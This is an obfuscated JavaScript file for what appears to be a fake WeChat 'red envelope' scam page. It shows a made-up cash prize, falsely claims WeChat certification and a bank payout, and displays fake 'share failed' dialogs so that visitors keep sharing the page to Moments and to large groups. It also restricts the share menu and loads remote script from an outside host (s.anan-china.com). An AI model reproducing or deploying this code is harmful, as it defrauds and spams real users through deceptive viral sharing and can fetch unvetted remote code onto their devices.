document['title'] = '......';
window['data'] = window['data'] || {};
window['gConfig'] = $['extend']({
    endPageUrl: 'javascript:setTimeout(function() {history.go(-1)},0)',
    defaultTips: ['<span style="font-size: 23px;color:#1BBC9B;">恭喜你！</span><br/>', '<span>获得微信红包￥</span><span style="font-size: 20px;color:red;">%(money)</span>元<br/>', '<span>仅剩不多，数量有限，先到先得！</span><br/>', '<span style="color:red;">活动宗旨宣传公司</span><br/>', '<span>领取要求:分享</span><span style="color:red;">朋友圈</span><br/>', '<span>后，将自动存入您的微信钱包</span><br/>', '<span>点攒大于10人将额外奖励</span><span style="font-size: 20px;color:red;">20</span><span>元</span><br/>', '<span style="color:red;">活动经微信认证，真实有效</span>']['join'](''),
    successTips: ['<span style="font-size: 20px;color: red;">恭喜您</span>，', '获得￥ <span style="font-size: 20px;color: red;">%(money)</span> 现金红包，', '金额已提交湖南银行打款，预计1小时内到账（跨行次日到账，非工作时间[09:00-17:00]次日到账），请注意查收微信绑定银行卡到账情况！']['join'](''),
    groupTips: [{
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
        successTips: '请继续分享到<b style="font-size: 18px;color: red">2</b>个微信群<br/><span style="color:red;">即可领取!</span>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失败！</b>',
        successTips: '请尝试分享到不同的微信群<br/><span style="color:red;">即可领取!</span>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
        successTips: '请继续分享到不同的<b style="font-size: 18px;color: red">1</b>个微信群<br/><span style="color:red;">即可领取!</span>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失败！</b>',
        successTips: '请分享到人数大于<span style="font-size: 18px;color: #f5294c">20</span>人的微信群哦<br/><span  style="color:red;">即可领取!</span>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失败！</b>',
        successTips: '请尝试分享到不同<span style="font-size: 18px;color: #f5294c"></span>的微信群<br/><span  style="color:red;">即可领取!</span>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
        successTips: '请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>，获赠<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰即可领取!'
    }],
    timeLineTips: [{
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失败！</b>',
        successTips: '注意：必须[<span color="red">公开</span>]分享哦！!<br>请尝试重新分享到<b style="font-size: 18px;color: red">朋友圈</b><br>'
    }, {
        successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
        successTips: '请再次分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span><br>获赠<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰即可领取!'
    }]
}, (window['data']));

function getSpm() {
    var _0x2182x2 = 'qwertyuiopasdfghjklzxcvbnm1234567890';
    var _0x2182x3 = [];
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    _0x2182x3['push'](_0x2182x2['charAt'](Math['floor'](Math['random']() * _0x2182x2['length'])));
    return _0x2182x3['join']('')
}

function showShareTips(_0x2182x5) {
    if (typeof _0x2182x5 === 'object') {
        g_dialog['alert']({
            title: _0x2182x5['successTitle'] || '',
            message: _0x2182x5['successTips'],
            btn: '我知道了'
        })
    } else {
        if (typeof _0x2182x5 === 'string' && _0x2182x5) {
            g_dialog['alert']({title: '', message: _0x2182x5, btn: '我知道了'})
        }
    }
}

(function () {
    var _0x2182x6 = false;
    var _0x2182x7 = false;
    var _0x2182x8 = 0;
    var _0x2182x9 = 0;

    function _0x2182xa() {
        if (_0x2182x8 == 0) {
            if (_0x2182x9 == 1) {
                _0x2182x11(_0x2182x9);
                window['g_tips_message_obj'] = gConfig['timeLineTips'][0];
                showShareTips(gConfig['timeLineTips'][0]);
                if (window['data']['quanno'] == 2) {
                    _0x2182x8 += 1
                }
            } else {
                if (_0x2182x9 == 2) {
                    showShareTips(gConfig['timeLineTips'][1]);
                    _0x2182x11(_0x2182x9);
                    if (window['data']['quanno'] == 3) {
                        _0x2182x8 += 1
                    }
                } else {
                    if (_0x2182x9 == 3) {
                        showShareTips(gConfig['timeLineTips'][2]);
                        _0x2182x11(_0x2182x9)
                    }
                }
            }
        } else {
            if (_0x2182x8 == 1) {
                _0x2182x14();
                window['g_tips_message_obj'] = gConfig['groupTips'][0];
                showShareTips(window['g_tips_message_obj']);
                _0x2182xd(_0x2182x8);
                $('.icon_share')['css']({
                    "display": 'inline-block',
                    "width": '.24rem',
                    "height": '.24rem',
                    "background": 'url(/d/sharewx/images/v.png)',
                    "background-repeat": 'no-repeat',
                    "background-size": '100%',
                    "vertical-align": 'middle'
                });
                $('.js_share_to_desc')['text']('微信群')
            } else {
                if (_0x2182x8 == 2) {
                    window['g_tips_message_obj'] = gConfig['groupTips'][1];
                    showShareTips(window['g_tips_message_obj']);
                    _0x2182xd(_0x2182x8)
                } else {
                    if (_0x2182x8 == 3) {
                        window['g_tips_message_obj'] = gConfig['groupTips'][2];
                        showShareTips(window['g_tips_message_obj']);
                        _0x2182xd(_0x2182x8)
                    } else {
                        if (_0x2182x8 == 4) {
                            window['g_tips_message_obj'] = gConfig['groupTips'][4];
                            showShareTips(window['g_tips_message_obj']);
                            _0x2182xd(_0x2182x8)
                        } else {
                            try {
                                $(document['body'])['trigger']('event_page_share_done')
                            } catch (e) {
                            }
                        }
                    }
                }
            }
        }
    }

    function _0x2182xb() {
        _0x2182x9 += 1;
        _0x2182xa()
    }

    function _0x2182xc() {
        _0x2182x8 += 1;
        _0x2182xa()
    }

    function _0x2182xd(_0x2182xe) {
        var _0x2182xf;
        switch (_0x2182xe) {
            case 1:
                _0x2182xf = window['data']['to_group2'];
                break;
            case 2:
                _0x2182xf = window['data']['to_group3'];
                break;
            case 3:
                _0x2182xf = window['data']['to_group4'];
                break;
            case 4:
                _0x2182xf = window['data']['to_group5'];
                break;
            case 5:
                _0x2182xf = window['data']['to_group6'];
                break;
            default:
                _0x2182xf = window['data']['to_group']
        }
        ;wx['onMenuShareAppMessage']({
            title: _0x2182xf['title'],
            link: _0x2182xf['link'],
            desc: _0x2182xf['desc'],
            imgUrl: _0x2182xf['imgUrl'],
            dataUrl: '',
            success: function (_0x2182x10) {
                _0x2182xc()
                share1();
            },
            cancel: function () {
            }
        })
    }

    function _0x2182x11(_0x2182x12) {
        var _0x2182x13;
        switch (_0x2182x12) {
            case 1:
                _0x2182x13 = window['data']['to_timeline2'];
                break;
            case 2:
                _0x2182x13 = window['data']['to_timeline3'];
                break;
            default:
                _0x2182x13 = window['data']['to_timeline']
        }
        ;wx['onMenuShareTimeline']({
            title: _0x2182x13['title'],
            link: _0x2182x13['link'],
            imgUrl: _0x2182x13['imgUrl'],
            dataUrl: '',
            type: 'video',
            success: function (_0x2182x10) {
                _0x2182xb()
                share2()
            },
            cancel: function () {
            }
        })
    }

    function _0x2182x14() {
        wx['hideOptionMenu']();
        wx['showMenuItems']({menuList: ['menuItem:share:appMessage']})
    }

    function _0x2182x15() {
        wx['hideOptionMenu']();
        wx['showMenuItems']({menuList: ['menuItem:share:timeline']})
    }

    function _0x2182x16() {
        _0x2182xa();
        _0x2182xd();
        _0x2182x11()
    }

    function _0x2182x17() {
        if (typeof WeixinJSBridge === 'undefined') {
            if (document['addEventListener']) {
                document['addEventListener']('WeixinJSBridgeReady', _0x2182x16, false)
            } else {
                if (document['attachEvent']) {
                    document['attachEvent']('WeixinJSBridgeReady', _0x2182x16);
                    document['attachEvent']('onWeixinJSBridgeReady', _0x2182x16)
                }
            }
        } else {
            _0x2182x16()
        }
    }

    window['g_share'] = {init: _0x2182x17}
}());
$(function () {
    var _0x2182x18 = {tpl: {body: ['<div class="share-container">', '  <h3 class="share-container-bg-title">分享点这里</h3>', '  <div class="share-prompt">', '    <p>', '      点击右上角，分享到', '      <i class="icon_share"></i>', '      <span class="js_share_to_desc">朋友圈</span>', '    </p>', '    <p>即可领取￥<span>%(money)</span>￥</p>', '  </div>', '  <div class="red-packet">', '<img style="pointer-events: none; ">', '    <p>恭喜发财</p>', '  </div>', '</div>', '<div id="back_button"style="z-index: 99;display: flex;position: fixed;font-size: 16px;top: 16px;background: #C0C0C1;padding: 4px 10px 4px 8px;border-radius: 0px 15px 15px 0px;"><a style="color:#000;"href="javascript:fanhui()">&lt;关闭</a></div>']['join']('')}};

    function _0x2182x19(_0x2182x1a) {
        M['resetFont']();
        $(document['body'])['append'](_0x2182x18['tpl']['body']['jstpl_format']({money: _0x2182x1a}));
        $('.red-packet img')['attr']('src', $('.js_head_img')['attr']('data-src'));
        $('.share-container')['css']({height: $(window)['height']() + 'px'})
    }

    function _0x2182x1b() {
        document['body']['onclick'] = function () {
        };
        $('.share-container')['on']('click', function () {
            if (!window['g_tips_message_obj']) {
                window['g_tips_message_obj'] = gConfig['defaultTips']
            }
            ;showShareTips(g_tips_message_obj)
        });
        $(document['body'])['on']('event_page_share_done', function () {
            if (gConfig['successTips']) {
                g_dialog['alert']({
                    title: '',
                    message: window['data']['to_info']['ok_msg'],
                    btn: '我知道了',
                    cb: function () {
                        // if (gConfig['endPageUrl']) {
                        //     M['loadJS']('//s.anan-china.com/js/getentry?c_=vhb8')
                        // }
                        // ;
                        if (ad != '') {
                            jp();
                        }
                        return false
                    }
                })
            }
        })
    }

    function _0x2182x1c(_0x2182x5, _0x2182x1a) {
        _0x2182x5 = _0x2182x5 || {};
        if (_0x2182x5['title']) {
            _0x2182x5['title'] = _0x2182x5['title']['replace']('{moneyStr}', _0x2182x1a)['replace'](/{fuck}/ig, '͏')
        }
        ;
        if (_0x2182x5['desc']) {
            _0x2182x5['desc'] = _0x2182x5['desc']['replace']('{moneyStr}', _0x2182x1a)['replace'](/{fuck}/ig, '͏')['replace']('\n', '͏')
        }
        ;
        if (_0x2182x5['successTitle']) {
            _0x2182x5['successTitle'] = _0x2182x5['successTitle']['replace']('{moneyStr}', _0x2182x1a)['replace'](/{fuck}/ig, '͏');
            _0x2182x5['successTitle']['jstpl_format']({money: _0x2182x1a})
        }
        ;
        if (_0x2182x5['successTips']) {
            _0x2182x5['successTips'] = _0x2182x5['successTips']['replace']('{moneyStr}', _0x2182x1a)['replace'](/{fuck}/ig, '͏');
            _0x2182x5['successTips']['jstpl_format']({money: _0x2182x1a})
        }
    }

    function _0x2182x17() {
        var _0x2182x1d = parseInt(M['getParam']('money') * 100) || parseInt((parseFloat(Math['random']() * 20) + 30) * 100);
        var _0x2182x1a = (parseFloat(_0x2182x1d / 100)['toFixed'](2));
        $(gConfig['groupTips'])['each'](function (_0x2182x1e, _0x2182x1f) {
            _0x2182x1c(_0x2182x1f, _0x2182x1a)
        });
        $(gConfig['timeLineTips'])['each'](function (_0x2182x1e, _0x2182x1f) {
            _0x2182x1c(_0x2182x1f, _0x2182x1a)
        });
        gConfig['defaultTips'] = gConfig['defaultTips']['jstpl_format']({money: _0x2182x1a});
        _0x2182x19(_0x2182x1a);
        _0x2182x1b();
        s_data();
        setTimeout(function () {
            showShareTips(gConfig['defaultTips'])
        })
    }

    _0x2182x17()
});

function s_data() {
    var _0x2182x1d = M['getParam']('money');
    $['ajax']({
        type: 'POST',
        url: '/wx.php',
        dataType: 'json',
        jsonp: 'callback',
        data: {url: encodeURIComponent(location['href']['split']('#')[0]),money:_0x2182x1d},
        success: function (_0x2182x21) {
            window['data'] = _0x2182x21;
            wx['config'](window['data']['config']);
            wx['ready'](function () {
                wx['hideOptionMenu']();
                wx['showMenuItems']({menuList: ['menuItem:share:timeline']})
            });
            g_share['init']();
            wx['error'](function (_0x2182x10) {
                console.log(_0x2182x10);
                // M['loadJS']('//s.anan-china.com/js/getentry?c_=vhb8')
            })
        }
    })
}

function fanhui2() {
    M['loadJS']('//s.anan-china.com/js/getentry?c_=v2')
}

// var _hmt = _hmt || [];
// (function () {
//     var _0x2182x24 = document['createElement']('script');
//     _0x2182x24['src'] = 'https://hm.baidu.com/hm.js?1066faebb2209fd653ac4fa4e12483c3';
//     var _0x2182xe = document['getElementsByTagName']('script')[0];
//     _0x2182xe['parentNode']['insertBefore'](_0x2182x24, _0x2182xe)
// })();
